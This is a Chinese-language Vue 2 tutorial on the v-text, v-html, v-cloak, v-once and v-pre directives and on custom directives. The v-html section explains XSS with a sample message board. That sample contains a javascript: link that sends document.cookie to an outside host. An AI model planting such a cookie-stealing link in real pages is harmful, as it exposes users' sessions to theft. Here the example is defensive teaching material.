当前位置: 首页 > article >正文

Vue:其他指令

Vue:其他指令

2.13.1、v-text

v-text 指令用于将数据填充到标签体当中,并且是以覆盖的形式填充。与原生JS中的 innerText 功能类似,填充的内容中即使存在HTML标签也只是会当做一个普通的字符串处理,不会解析。例如:

<div id="app">
  <p v-text="message"></p>
</div>
<script>
  const vm = new Vue({
    el: "#app",
    data: {
      message: "<strong>这是一段包含HTML标签的文本</strong>"
    }
  });
</script>

在上述代码中,页面显示的将是 <strong>这是一段包含HTML标签的文本</strong>,而不会将 <strong> 标签解析为加粗样式。

2.13.2、v-html

v-html 同样将内容填充到标签体当中,且是以覆盖的形式。与 v-text 不同的是,它会将填充的内容当做HTML代码解析,功能等同于原生JS中的 innerHTML。但需特别注意,v-html 不要用在用户提交的内容上,因为可能会导致XSS攻击。

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序,这些恶意网页程序通常是JavaScript。

例如:用户在留言中恶意植入以下信息:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <title>Document</title>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.js"></script>
</head>
<body>
  <!-- 需求:简易版的留言板,并将留言进行展示-->
  <div id="app">
    <h1>{{msg}},test</h1>
    <ul>
      <li>
        <a href='javascript:location.href="http://www.baidu.com/?cookie?"+document.cookie'>点我给你看点好玩的</a>
      </li>
      <li v-for="(item,index) of myList" v-html="item" :key="index"></li>
    </ul>
    <textarea cols="30" rows="10" v-model.lazy="list"></textarea>
    <button @click="send">提交</button>
  </div>
  <script>
    const vm = new Vue({
      data() {
        return {
          msg: "模拟xss攻击",
          myList: [],
          list: ""
        };
      },
      methods: {
        send() {
          this.myList.push(this.list);
        }
      }
    }).$mount("#app");
  </script>
</body>
</html>

若使用 v-html 直接展示用户提交的内容,恶意代码可能会被执行,从而窃取用户信息或进行其他恶意操作。为了避免XSS攻击,可以对用户输入进行严格的过滤和转义,只允许特定格式和安全的内容显示。

2.13.3 v-cloak

v-cloak 用于配置css样式来解决胡子(插值语法双大括号 {{}})的闪现问题。该指令使用在标签当中,当Vue实例接管之后会删除这个指令。

以下是一段CSS样式,可使当前页面中所有带有 v-cloak 属性的标签都隐藏起来:

[v-cloak] {
  display : none;
}

v-cloak 指令的基本原理是:在Vue实例完全接管DOM并完成编译之前,隐藏带有该指令的元素。当Vue实例初始化完成并开始编译模板时,会自动移除 v-cloak 指令。通过这种方式,我们可以避免在页面加载初期出现未编译的插值语法(双大括号 {{}})短暂显示的问题,即 “胡子的闪现问题”。

在前端开发中,“胡子的闪现问题” 通常是指在使用Vue等框架时,未编译的插值语法(双大括号 {{}})在页面加载初期短暂显示的现象,就好像页面上出现了 “胡子” 一闪而过。常见场景包括网络延迟场景和组件加载场景等。解决方法除了使用 v-cloak 指令外,还可以使用JavaScript表达式替代插值语法,或者优化加载顺序和性能。

示例代码如下:

<head>
  <meta charset="UTF-8" />
  <title>Vue的其它指令</title>
  <style>
    [v-cloak] {
      display: none;
    }
  </style>
</head>
<body>
  <div id="app">
    <h1 v-cloak>{{msg}}</h1>
  </div>
  <script>
    // 晚3s引入vue.js
    setTimeout(() => {
      let scriptElt = document.createElement("script");
      scriptElt.src = "./js/vue.js";
      document.head.append(scriptElt);
    }, 3000);
    // 晚4s创建vm实例
    setTimeout(() => {
      const vm = new Vue({
        el: "#app",
        data: {
          msg: "Vue的其它指令"
        }
      });
    }, 4000);
  </script>
</body>

在上述代码中,由于引入Vue.js和创建Vue实例有延迟,若不使用 v-cloak,页面加载初期会短暂显示 {{msg}},使用后则不会出现该情况。

2.13.4 v-once

初次接触指令的时候已经学过 v-once。该指令用于只渲染一次,之后该元素及其子元素将被视为静态内容,不再随数据变化而更新。例如:

<body>
  <div id="app">
    <h1 v-cloak>{{msg}}</h1>
    <!-- v-once 只执行一次,视为静态页面-->
    <h2 v-once>{{num}}</h2>
    <button @click="num++">点我+1</button><br>
  </div>
  <script>
    const vm = new Vue({
      el: "#app",
      data: {
        msg: "Vue的其它指令",
        num: 0
      }
    });
  </script>
</body>

点击按钮时,num 值会增加,但 v-once 修饰的 h2 标签内的 num 值不会更新,始终保持初始渲染的值。

2.13.5 v-pre

使用 v-pre 指令可以提高编译速度。带有该指令的标签将不会被编译。适用于没有Vue语法规则的标签中,以提高效率。但不要将它用在带有指令语法以及插值语法的标签中。例如:

<body>
  <div id="app">
    <h1 v-cloak>{{msg}}</h1>
    <!-- v-pre 不参与vue编译,提高效率 -->
    <h1 v-pre>欢迎学习Vue框架!</h1>
    <!-- v-once 只执行一次,视为静态页面-->
    <h2 v-once>{{num}}</h2>
    <button @click="num++">点我+1</button><br>
  </div>
  <script>
    const vm = new Vue({
      el: "#app",
      data: {
        msg: "Vue的其它指令",
        num: 0
      }
    });
  </script>
</body>

上述代码中,v-pre 修饰的 h1 标签内容不会被Vue编译,直接原样显示,从而节省了编译时间。

2.13.6、自定义指令

2.13.6.1 局部自定义指令

  1. 函数式
<body>
  <div id="app">
    <h1>自定义指令</h1>
    <!-- 需求1:自定义v-text-danger指令,将msg文字变红放入到div中 -->
    <div v-text="msg"></div>
    <div v-text-danger="msg"></div>
  </div>
  <script>
    const vm = new Vue({
      el: "#app",
      data: {
        msg: "自定义指令",
        username: "jackson"
      },
      // 配置自定义指定
      directives: {
        // 可以定义多个指令,‘,’隔开
        // 关于指令的名字:
        // 1. v- 不需要写。
        // 2. Vue官方建议指令的名字要全部小写。如果是多个单词的话,请使用 - 进行衔接。
        // 回调函数执行时机:第一个:标签和指令第一次绑定的时候。第二个:模板被重新解析的时候。
        // 回调函数两个参数:第一个参数是真实的dom元素。 第二个参数是标签与指令之间绑定关系的对象。

        //需求1 写法一、函数式
        'text-danger' : function(element, binding){
          console.log('@');
          element.innerText = binding.value;
          element.style.color = 'red';
        },
        //需求2:
        // 自定义一个指令,可以和v-bind指令完成相同的功能,同时将该元素的父级元素的背景色设置为蓝色。    
        'bind-blue' : function(element, binding){
          element.value = binding.value;
          console.log(element);
          // 为什么是null,原因是这个函数在执行的时候,指令和元素完成了绑定,
          //但是只是在内存当中完成了绑定,元素还没有被插入到页面当中。
          //不在页面中,就不会有他的父元素
          console.log(element.parentNode);
          element.parentNode.style.backgroundColor = 'blue';
        } 
      }
    });
  </script>
</body>

在函数式自定义指令中,text-danger 指令实现了将绑定的值以红色文本显示在指定元素内。而 bind-blue 指令尝试实现类似 v-bind 的功能并设置父元素背景色为蓝色,但由于执行时元素可能尚未插入页面,获取父元素会返回 null

  1. 对象式
<body>
  <div id="app">
    <!-- 需求2:
          自定义一个指令,可以和v-bind指令完成相同的功能,同时将该元素的父级元素的背景色设置为蓝色。
  -->
    v-bind:用户名:<input type="text" v-bind:value="username" />
    v-bind-blue:用户名:<input type="text" v-bind-blue="username" /></div>
  </div>
  <script>
    const vm = new Vue({
      el: "#app",
      data: {
        msg: "自定义指令",
        username: "jackson"
      },
      // 配置自定义指定
      directives: {
        // 写法二 、对象式
        'bind-blue' : {
          // 这个对象中三个方法的名字不能随便写。这三个函数将来都会被自动调用。
          // 注意:在特定的时间节点调用特定的函数,这种被调用的函数称为钩子函数。

          // 元素与指令初次绑定的时候,自动调用bind (初次绑定时执行)
          bind(element, binding){
            element.value = binding.value;
          },
          // 元素被插入到页面之后,这个函数自动被调用。(插入页面时执行,多的一个执行时机inserted)
          inserted(element, binding){
            element.parentNode.style.backgroundColor = 'blue';
          },
          // 当模板重新解析的时候,这个函数会被自动调用。  (重新解析时执行)
          update(element, binding){
            element.value = binding.value;
          }
        } 
      },
    });
  </script>
</body>

对象式自定义指令 bind-blue 通过 bindinsertedupdate 三个钩子函数,分别在指令与元素初次绑定、元素插入页面以及模板重新解析时执行相应操作,成功实现了类似 v-bind 的功能并设置父元素背景色。

2.13.6.2 全局自定义指令

<body>
  <div id="app">
    <h1>自定义指令</h1>
    <div v-text="msg"></div>
    <div v-text-danger="msg"></div>
    v-bind:用户名:<input type="text" v-bind:value="username" /><br>
    <div>v-bind-blue:用户名:<input type="text" v-bind-blue="username" /></div></div>
  </div>
  <hr>
  <div id="app2">
    <div v-text-danger="msg"></div>
    <div>用户名:<input type="text" v-bind-blue="username" /></div>
  </div>
  <script>
    // 定义全局的指令
    // 函数式
    Vue.directive("text-danger", function (element, binding) {
      //对于自定义指令来说,函数体当中的this是window,而不是vue实例。
      console.log(this);
      element.innerText = binding.value;
      element.style.color = "red";
    });
    // 对象式
    Vue.directive("bind-blue", {
      bind(element, binding) {
        element.value = binding.value;
        console.log(this);
      },
      inserted(element, binding) {
        element.parentNode.style.backgroundColor = "skyblue";
        console.log(this);
      },
      update(element, binding) {
        element.value = binding.value;
        console.log(this);
      }
    });
    const vm2 = new Vue({
      el: "#app2",
      data: {
        msg: "欢迎学习Vue框架!",
        username: "lucy"
      }
    });
    const vm= new Vue({
      el: "#app",
      data: {
        msg: "欢迎学习Vue框架!",
        username: "jack"
      }
    });
  </script>
</body>

全局自定义指令通过 Vue.directive 方法定义,在整个Vue应用中都可使用。如上述代码定义的 text-dangerbind-blue 指令,在 appapp2 两个Vue实例中都能生效,分别实现了将文本变红和类似 v-bind 并设置父元素背景色的功能。同时,在自定义指令函数体中,this 指向 window,而非Vue实例,这一点在开发中需特别注意。


http://www.kler.cn/a/584666.html

相关文章:

  • Qt的QMenu 和 QAction的样式设置
  • golang从入门到做牛马:第二十篇-Go语言接口:行为的“契约”
  • C#类型转换大总结
  • 4.3 数组和集合的初始及赋值
  • 云原生可观测性:智能运维的数据中枢
  • DeepSeek-R1深度解读
  • HarmonyOS开发 - 电商App实例三( 网络请求axios)
  • nginx中proxy_pass和root的区别
  • STL-List模拟
  • 【QT】:QT图形化界面相关准备工作
  • 【python运行Janus-Pro-1B文生图功能】
  • 开源!速度100Kb/s的有线和无线双模ESP32S3芯片的DAP-Link调试器
  • 深入理解 RTP、RTCP、RTMP、RTSP、HLS 及 live555 推拉流实现
  • 【经验分享】SpringBoot集成Websocket开发 之 使用由 Jakarta EE 规范提供的 API开发
  • docker基本应用和相关指令
  • MySQL小练习
  • 大数据面试之路 (三) mysql
  • 在Vue中如何高效管理组件状态?
  • 蓝桥每日打卡--数组美丽值求和
  • LM Studio 替换源的方式解决huggingface.co无法访问的问题